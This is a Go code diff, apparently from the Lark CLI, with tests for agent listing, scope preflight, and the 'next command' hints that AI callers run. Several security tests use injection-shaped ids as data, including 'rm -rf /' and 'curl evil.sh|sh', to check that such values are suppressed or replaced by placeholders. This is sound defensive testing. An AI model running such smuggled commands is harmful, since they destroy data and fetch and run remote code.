if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakedisc should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
agents, ok := data["agents"].([]interface{})
|
||||
if !ok || len(agents) != 2 {
|
||||
t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
|
||||
}
|
||||
first, _ := agents[0].(map[string]interface{})
|
||||
if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
|
||||
t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 2 {
|
||||
t.Errorf("meta.count should be 2, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_InstanceListAgentsOnline pins the instance online path: an
|
||||
// instance provider that wires the optional ListAgents hook enumerates via it,
|
||||
// and the hook receives an identity-pinned runtime (not nil).
|
||||
func TestAgentListScheme_InstanceListAgentsOnline(t *testing.T) {
|
||||
var gotRT iagent.Runtime
|
||||
spec := catSpec("", "", "")
|
||||
iagent.Register(iagent.Provider{
|
||||
Scheme: "fakelive",
|
||||
Label: "test fake (instance live-enum)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
Instance: &spec,
|
||||
ListAgents: func(_ context.Context, rt iagent.Runtime) ([]iagent.AgentSummary, error) {
|
||||
gotRT = rt
|
||||
return []iagent.AgentSummary{{AgentRef: "fakelive:x", Name: "Live X"}}, nil
|
||||
},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.Flags().String("as", "", "identity")
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelive"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakelive should not error: %v", err)
|
||||
}
|
||||
if gotRT == nil {
|
||||
t.Error("the ListAgents hook should receive a non-nil identity-pinned runtime")
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if agents, _ := data["agents"].([]interface{}); len(agents) != 1 {
|
||||
t.Fatalf("data.agents should have 1 entry, got %v", data["agents"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_OnlineRunsScopePreflight pins #8: the online enumeration
|
||||
// path now runs the same all-or-nothing scope preflight every other online verb
|
||||
// runs. An instance provider with RequiredScopes, driven by a user whose token
|
||||
// lacks them, fails fast with missing_scope (exit 3) BEFORE ListAgents is called.
|
||||
func TestAgentListScheme_OnlineRunsScopePreflight(t *testing.T) {
|
||||
called := false
|
||||
spec := catSpec("", "", "")
|
||||
iagent.Register(iagent.Provider{
|
||||
Scheme: "fakescopelive",
|
||||
Label: "test fake (scoped live-enum)",
|
||||
AgentIDSource: "test only",
|
||||
RequiredScopes: []string{"live:read"},
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
|
||||
Instance: &spec,
|
||||
ListAgents: func(context.Context, iagent.Runtime) ([]iagent.AgentSummary, error) {
|
||||
called = true
|
||||
return nil, nil
|
||||
},
|
||||
})
|
||||
// The stored user token holds an unrelated scope (non-empty so the preflight
|
||||
// actually runs) but not the required one.
|
||||
swapStoredScopes(t, []string{"unrelated:scope"})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "user"), Format: "json", Scheme: "fakescopelive", As: "user"}
|
||||
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("listing as a user missing the required scope should fail with missing_scope")
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != 3 {
|
||||
t.Fatalf("missing scope should be exit 3, got %d (%v)", code, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeMissingScope {
|
||||
t.Fatalf("subtype should be missing_scope, got %+v", p)
|
||||
}
|
||||
if called {
|
||||
t.Error("ListAgents must NOT be called when the scope preflight fails")
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_OnlineChecksIdentity pins #8: the online enumeration path
|
||||
// enforces the user|bot identity whitelist. An explicitly unsupported --as is
|
||||
// rejected as a validation error before the online ListAgents call.
|
||||
func TestAgentListScheme_OnlineChecksIdentity(t *testing.T) {
|
||||
called := false
|
||||
spec := catSpec("", "", "")
|
||||
iagent.Register(iagent.Provider{
|
||||
Scheme: "fakelivewl",
|
||||
Label: "test fake (identity-whitelist live-enum)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
Instance: &spec,
|
||||
ListAgents: func(context.Context, iagent.Runtime) ([]iagent.AgentSummary, error) {
|
||||
called = true
|
||||
return nil, nil
|
||||
},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "admin"), Format: "json", Scheme: "fakelivewl", As: "admin"}
|
||||
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("an unsupported identity should be rejected before the online call")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("unsupported identity should be a validation error, got %T (%v)", err, err)
|
||||
}
|
||||
if called {
|
||||
t.Error("ListAgents must NOT be called when the identity whitelist fails")
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_PrettyStripsANSI pins that `agent list <scheme> --format
|
||||
// pretty` strips ANSI escapes from agent-controlled Name/Description (here from
|
||||
// static catalog entries) before they reach the terminal.
|
||||
func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
|
||||
iagent.Register(iagent.Provider{
|
||||
Scheme: "fakedirty",
|
||||
Label: "test fake (dirty names)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
|
||||
Catalog: []iagent.AgentSpec{catSpec("a1", "\x1b[31mEvil\x1b[0m One", "d\x1b[2Jesc")},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakedirty pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
|
||||
t.Errorf("readable text should remain after stripping, got %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
|
||||
// --jq flag must be registered on `agent list` and filter the envelope.
|
||||
func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
cmd := NewCmdAgentList(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetContext(context.Background())
|
||||
cmd.SetArgs([]string{"--jq", ".ok"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("agent list --jq should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "true" {
|
||||
t.Errorf("--jq .ok should output only true, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
|
||||
// of --format, the --jq flag presence, and that list takes at most one
|
||||
// positional arg (the scheme).
|
||||
func TestNewCmdAgentList_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentList(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("agent list should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Fatal("agent list should have a --format flag")
|
||||
}
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("--format default should flip to json, got %q", fl.DefValue)
|
||||
}
|
||||
if cmd.Flags().Lookup("jq") == nil {
|
||||
t.Error("agent list should have a --jq flag")
|
||||
}
|
||||
if cmd.Flags().Lookup("as") == nil {
|
||||
t.Error("agent list should register an --as flag (needed to pick the identity for online enumeration)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err != nil {
|
||||
t.Errorf("agent list with no args should be valid: %v", err)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example"}); err != nil {
|
||||
t.Errorf("agent list <scheme> should be valid: %v", err)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
|
||||
t.Error("agent list with more than 1 positional argument should error (MaximumNArgs 1)")
|
||||
}
|
||||
}
|
||||
218
cmd/agent/next_contract_test.go
Normal file
218
cmd/agent/next_contract_test.go
Normal file
@@ -0,0 +1,218 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
|
||||
// contract test automatically covers any future nextForTask branch keyed on a
|
||||
// state instead of relying on hand-picked samples.
|
||||
var allTaskStates = []iagent.TaskState{
|
||||
iagent.StateSubmitted,
|
||||
iagent.StateWorking,
|
||||
iagent.StateInputRequired,
|
||||
iagent.StateAuthRequired,
|
||||
iagent.StateCompleted,
|
||||
iagent.StateFailed,
|
||||
iagent.StateCanceled,
|
||||
iagent.StateRejected,
|
||||
iagent.StateUnknown,
|
||||
}
|
||||
|
||||
// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
|
||||
// every next command emitted by nextForTask — across all 9 task states, with
|
||||
// and without a context id, template hints included (their <...> placeholders
|
||||
// are single space-free tokens, so they parse as ordinary flag values) — must
|
||||
// traverse and flag-parse against the real agent command tree. meta.next is
|
||||
// defined as "AI executes this verbatim", so a next that references a
|
||||
// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
|
||||
// at build time instead of by a failing acceptance run.
|
||||
func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
|
||||
// GIVEN: the real agent subtree (nil Factory: construction-time only, no
|
||||
// credentials; all meta.next commands live under `lark-cli agent ...`).
|
||||
agentTree := NewCmdAgent(nil)
|
||||
|
||||
for _, state := range allTaskStates {
|
||||
for _, ctxID := range []string{"", "conversation_1"} {
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: ctxID,
|
||||
State: state,
|
||||
IsTerminal: state.IsTerminal(),
|
||||
}
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) == 0 {
|
||||
t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
|
||||
}
|
||||
for _, n := range next {
|
||||
if state == iagent.StateAuthRequired {
|
||||
// auth_required is an agent-side task state whose next step is
|
||||
// the auth (re-authorize) flow, so it legitimately points OUT
|
||||
// of the agent subtree and is not traversable against
|
||||
// agentTree; assert its shape and skip the agent traversal.
|
||||
if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
|
||||
t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if !strings.HasPrefix(n.Command, "lark-cli agent ") {
|
||||
t.Fatalf("next %q must target the agent subtree", n.Command)
|
||||
}
|
||||
// WHEN: the command string is parsed against the real tree.
|
||||
argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agent "))
|
||||
c, flags, err := agentTree.Traverse(argv)
|
||||
// THEN: it traverses to a leaf and its flags all exist.
|
||||
if err != nil {
|
||||
t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
|
||||
}
|
||||
if c == agentTree {
|
||||
t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
|
||||
}
|
||||
if err := c.ParseFlags(flags); err != nil {
|
||||
t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
|
||||
// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
|
||||
// whole next entry (omit rather than risk injection), in every state —
|
||||
// meta.next commands are executed verbatim by AI callers, so shell
|
||||
// metacharacters in an interpolated id are command injection.
|
||||
func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
|
||||
for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
|
||||
for _, state := range allTaskStates {
|
||||
task := &iagent.AgentTask{TaskID: bad, State: state}
|
||||
if next := nextForTask("example:agent_x", task); len(next) != 0 {
|
||||
t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
|
||||
// the user-echoed ref is interpolated into every next command, so a ref that
|
||||
// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
|
||||
// suppresses the whole hint — a ref with spaces/quotes would make the command
|
||||
// un-copy-pasteable at best and an injection surface at worst.
|
||||
func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
|
||||
if next := nextForTask(bad, task); len(next) != 0 {
|
||||
t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
|
||||
}
|
||||
}
|
||||
if next := nextForTask("example:agent_x", task); len(next) == 0 {
|
||||
t.Error("valid ref example:agent_x should keep next")
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
|
||||
// its degradation semantics: a legit task_id with an injection-shaped
|
||||
// context_id (input_required branch interpolates both) keeps the hint but
|
||||
// replaces the dirty id with the <context_id> placeholder — Template:true, no
|
||||
// untrusted content interpolated.
|
||||
func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
|
||||
dirty := "conv_1; curl evil.sh|sh"
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: dirty,
|
||||
State: iagent.StateInputRequired,
|
||||
}
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) != 1 {
|
||||
t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
|
||||
}
|
||||
if !next[0].Template {
|
||||
t.Errorf("degraded hint must be template=true, got %+v", next[0])
|
||||
}
|
||||
if !strings.Contains(next[0].Command, "<context_id>") {
|
||||
t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
|
||||
}
|
||||
if strings.Contains(next[0].Command, "conv_1") {
|
||||
t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
|
||||
// agent-side task state (the end user must (re)authorize in the agent), NOT a
|
||||
// text-continuation like input_required. Its next must point at the auth
|
||||
// re-authorize flow (auth login --scope), never reuse the text-continuation
|
||||
// send hint.
|
||||
func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateAuthRequired}
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) != 1 {
|
||||
t.Fatalf("auth_required should produce 1 next, got %+v", next)
|
||||
}
|
||||
// Must NOT be the input_required text-continuation hint.
|
||||
if strings.Contains(next[0].Command, "agent send") || strings.Contains(next[0].Command, "--text") {
|
||||
t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
|
||||
}
|
||||
// Must point at the auth (re-authorize) flow.
|
||||
if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
|
||||
t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
|
||||
}
|
||||
// The concrete scopes come from the card, so the command carries a
|
||||
// placeholder and must be marked template.
|
||||
if !next[0].Template {
|
||||
t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
|
||||
// default: task get has --watch, not --wait, and the poll hint must suggest a
|
||||
// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
|
||||
// forever on a long task nor self-hammers with unbounded polls.
|
||||
func TestNextForTaskWatchNotWait(t *testing.T) {
|
||||
next := nextForTask("example:agent_x", &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking})
|
||||
if len(next) == 0 {
|
||||
t.Fatal("working task must produce a poll next")
|
||||
}
|
||||
if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
|
||||
t.Fatalf("poll next must use --watch: %+v", next)
|
||||
}
|
||||
wantTimeout := "--timeout " + defaultWatchTimeout.String()
|
||||
if !strings.Contains(next[0].Command, wantTimeout) {
|
||||
t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskTemplateFlag pins the template marker semantics: the
|
||||
// input_required continue hint carries a <你的答复> placeholder, so it must be
|
||||
// marked template=true (not directly executable); poll and terminal-detail
|
||||
// hints are verbatim-executable and must not carry the marker.
|
||||
func TestNextForTaskTemplateFlag(t *testing.T) {
|
||||
// input_required with a known context: placeholder in --text → template.
|
||||
cont := nextForTask("example:agent_x", &iagent.AgentTask{
|
||||
TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateInputRequired,
|
||||
})
|
||||
if len(cont) != 1 || !cont[0].Template {
|
||||
t.Fatalf("input_required next must be template=true, got %+v", cont)
|
||||
}
|
||||
// input_required without a context id: <context_id> placeholder → template.
|
||||
contNoCtx := nextForTask("example:agent_x", &iagent.AgentTask{
|
||||
TaskID: "chat_1", State: iagent.StateInputRequired,
|
||||
})
|
||||
if len(contNoCtx) != 1 || !contNoCtx[0].Template {
|
||||
t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
|
||||
}
|
||||
// Poll and terminal-detail hints are directly executable → no template flag.
|
||||
for _, task := range []*iagent.AgentTask{
|
||||
{TaskID: "chat_1", State: iagent.StateWorking},
|
||||
{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true},
|
||||
} {
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) != 1 || next[0].Template {
|
||||
t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
|
||||
}
|
||||
}
|
||||
}
|
||||
216
cmd/agent/preflight.go
Normal file
216
cmd/agent/preflight.go
Normal file
@@ -0,0 +1,216 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/appmeta"
|
||||
larkauth "github.com/larksuite/cli/internal/auth"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// This file implements the scope preflight: after the provider is resolved and
|
||||
// before the real API call, the session's available scopes are checked against
|
||||
// the provider's RequiredScopes. The check is all-or-nothing — any real API verb
|
||||
// requires the provider's entire scope set. For USER identity the scope list is
|
||||
// read locally from the credential cache (no network); for BOT identity it is
|
||||
// the app's published TenantScopes, fetched best-effort (a fetch failure
|
||||
// downgrades the check to a no-op, like event's console precheck). A missing
|
||||
// scope surfaces as a missing_scope permission error (exit 3) with an
|
||||
// identity-appropriate remediation hint instead of a round-trip API 99991679.
|
||||
// `--dry-run` never reaches it (dry-run returns before the provider is resolved).
|
||||
|
||||
// storedUserScopes is the token-scope read seam: it returns the granted scope
|
||||
// list of the stored user token from the LOCAL credential cache (keychain via
|
||||
// GetStoredToken — same read path as `auth check`), issuing no network
|
||||
// request. nil/empty means "no usable local scope list" and the caller skips
|
||||
// preflight. Tests swap it so no unit test touches the real keychain.
|
||||
var storedUserScopes = func(f *cmdutil.Factory) []string {
|
||||
if f == nil || f.Config == nil {
|
||||
return nil
|
||||
}
|
||||
config, err := f.Config()
|
||||
if err != nil || config == nil || config.UserOpenId == "" {
|
||||
return nil
|
||||
}
|
||||
stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
|
||||
if stored == nil {
|
||||
return nil
|
||||
}
|
||||
return strings.Fields(stored.Scope)
|
||||
}
|
||||
|
||||
// preflightInput is the pure input of preflightScopes, so the check itself is
|
||||
// unit-testable without a Factory, keychain, or provider client.
|
||||
type preflightInput struct {
|
||||
Identity core.Identity
|
||||
TokenScopes []string
|
||||
Provider iagent.Provider
|
||||
}
|
||||
|
||||
// preflightScopes runs the local scope check. It returns nil when the check
|
||||
// does not apply — bot identity (handled elsewhere) or an unreadable/empty local
|
||||
// scope list (the downstream not_configured / need-authorization logic owns
|
||||
// that). The check is all-or-nothing: when any scope in the provider's
|
||||
// RequiredScopes set is not granted it returns the missing_scope permission
|
||||
// error (exit 3, mirroring the event-consume scope preflight) carrying every
|
||||
// missing scope, with a re-auth hint listing ONLY the missing scopes.
|
||||
//
|
||||
// The hint lists just the missing scopes (not a merge with existing grants):
|
||||
// the open platform authorizes INCREMENTALLY — re-login with only the missing
|
||||
// scopes keeps every previously-granted scope — so re-requesting the existing
|
||||
// grants would be redundant. This mirrors cmd/event's scopeRemediationHint.
|
||||
func preflightScopes(in preflightInput) error {
|
||||
// No usable scope list → skip (user not logged in, or bot has no published
|
||||
// version / the fetch failed); the downstream not_configured / API error owns
|
||||
// that path.
|
||||
if len(in.TokenScopes) == 0 {
|
||||
return nil
|
||||
}
|
||||
// Only user / bot carry a scope-list concept.
|
||||
if in.Identity != core.AsUser && !in.Identity.IsBot() {
|
||||
return nil
|
||||
}
|
||||
|
||||
granted := make(map[string]bool, len(in.TokenScopes))
|
||||
for _, s := range in.TokenScopes {
|
||||
granted[s] = true
|
||||
}
|
||||
|
||||
var missing []string
|
||||
for _, scope := range in.Provider.RequiredScopes {
|
||||
if !granted[scope] {
|
||||
missing = append(missing, scope)
|
||||
}
|
||||
}
|
||||
if len(missing) == 0 {
|
||||
return nil
|
||||
}
|
||||
sort.Strings(missing)
|
||||
|
||||
return errs.NewPermissionError(errs.SubtypeMissingScope,
|
||||
"当前 %s 身份缺少本命令所需 scope: %s", in.Identity, strings.Join(missing, ", ")).
|
||||
WithIdentity(string(in.Identity)).
|
||||
WithMissingScopes(missing...).
|
||||
WithHint("%s", scopeRemediationHint(in.Identity, missing))
|
||||
}
|
||||
|
||||
// scopeRemediationHint returns an identity-appropriate fix for the missing
|
||||
// scopes, mirroring cmd/event's scopeRemediationHint split:
|
||||
// - user: re-login requesting ONLY the missing scopes — the open platform
|
||||
// authorizes incrementally, so previously-granted scopes are preserved (no
|
||||
// merge needed).
|
||||
// - bot: the tenant token's scopes come from the app's published version, so
|
||||
// the fix is to add the scopes to the app in the developer console and
|
||||
// re-publish — not a per-token re-auth. (event additionally offers a
|
||||
// one-click scan-to-enable deep link; that generator lives in cmd/event and
|
||||
// is not duplicated here.)
|
||||
func scopeRemediationHint(id core.Identity, missing []string) string {
|
||||
if id.IsBot() {
|
||||
return fmt.Sprintf(
|
||||
"the bot (tenant) token's scopes come from the app's published version — add these scopes to the app in the developer console and re-publish: %s",
|
||||
strings.Join(missing, " "))
|
||||
}
|
||||
// Canonical repo-wide auth login --scope remediation phrasing (see
|
||||
// cmd/event, shortcuts/*). Only the missing scopes are listed — the open
|
||||
// platform authorizes incrementally, so existing grants are preserved.
|
||||
return fmt.Sprintf(
|
||||
"run `lark-cli auth login --scope \"%s\"` in the background. It blocks and outputs a verification URL — retrieve the URL and open it in a browser to complete login.",
|
||||
strings.Join(missing, " "))
|
||||
}
|
||||
|
||||
// preflightScopesForRef is the ref-addressed wrapper: it parses ref for its
|
||||
// scheme and delegates to preflightScopesForScheme. An unparsable ref yields nil
|
||||
// — the preflight is an accelerator, never a new failure mode; the paths that
|
||||
// validate ref/scheme for real have already run inside resolveSpec.
|
||||
func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
|
||||
r, err := iagent.ParseRef(ref)
|
||||
if err != nil {
|
||||
return nil //nolint:nilerr // preflight is best-effort: resolveSpec already surfaced any real ref error
|
||||
}
|
||||
return preflightScopesForScheme(f, id, r.Scheme)
|
||||
}
|
||||
|
||||
// preflightScopesForScheme is the scheme-keyed core of the preflight, shared by
|
||||
// the ref-addressed verbs (via preflightScopesForRef) and the online
|
||||
// `agent list <scheme>` enumeration, which has no agent_id. It resolves the
|
||||
// provider registration for the scheme, reads the stored scopes through the
|
||||
// identity-appropriate seam, and runs the same all-or-nothing check against the
|
||||
// provider's full RequiredScopes. Any gap in its own inputs (nil Factory,
|
||||
// unregistered scheme, empty RequiredScopes) yields nil.
|
||||
func preflightScopesForScheme(f *cmdutil.Factory, id core.Identity, scheme string) error {
|
||||
if f == nil {
|
||||
return nil
|
||||
}
|
||||
prov, ok := iagent.Info(scheme)
|
||||
if !ok || len(prov.RequiredScopes) == 0 {
|
||||
return nil // no scopes to check (e.g. the example mock declares none)
|
||||
}
|
||||
|
||||
var tokenScopes []string
|
||||
switch {
|
||||
case id == core.AsUser:
|
||||
tokenScopes = storedUserScopes(f) // local keychain read, no network
|
||||
case id.IsBot():
|
||||
tokenScopes = botTenantScopes(f) // best-effort app-version fetch
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
return preflightScopes(preflightInput{Identity: id, TokenScopes: tokenScopes, Provider: prov})
|
||||
}
|
||||
|
||||
// botTenantScopes is the bot-scope read seam: it fetches the app's
|
||||
// currently-published version and returns its TenantScopes (the scopes a tenant
|
||||
// token actually carries). Any failure — no client, no published version,
|
||||
// network / appmeta error — yields nil so the caller skips the check (weak
|
||||
// dependency, mirroring event's console precheck downgrade). Tests swap it so no
|
||||
// unit test touches the network.
|
||||
var botTenantScopes = func(f *cmdutil.Factory) []string {
|
||||
if f == nil || f.Config == nil {
|
||||
return nil
|
||||
}
|
||||
config, err := f.Config()
|
||||
if err != nil || config == nil || config.AppID == "" {
|
||||
return nil
|
||||
}
|
||||
apiClient, err := f.NewAPIClient()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
appVer, err := appmeta.FetchCurrentPublished(ctx, &appmetaBotClient{client: apiClient}, config.AppID)
|
||||
if err != nil || appVer == nil {
|
||||
return nil
|
||||
}
|
||||
return appVer.TenantScopes
|
||||
}
|
||||
|
||||
// appmetaBotClient adapts *client.APIClient to appmeta's APIClient shape under a
|
||||
// pinned bot identity (/app_versions is app-level and rejects UAT). It returns
|
||||
// the raw JSON body for appmeta to project; any non-typed transport error is
|
||||
// classified so callers only see typed errs.* values (though botTenantScopes
|
||||
// treats every error as a no-op anyway).
|
||||
type appmetaBotClient struct{ client *client.APIClient }
|
||||
|
||||
func (c *appmetaBotClient) CallAPI(ctx context.Context, method, path string, body interface{}) (json.RawMessage, error) {
|
||||
resp, err := c.client.DoAPI(ctx, client.RawApiRequest{Method: method, URL: path, Data: body, As: core.AsBot})
|
||||
if err != nil {
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return nil, err
|
||||
}
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", method, path, err).WithCause(err)
|
||||
}
|
||||
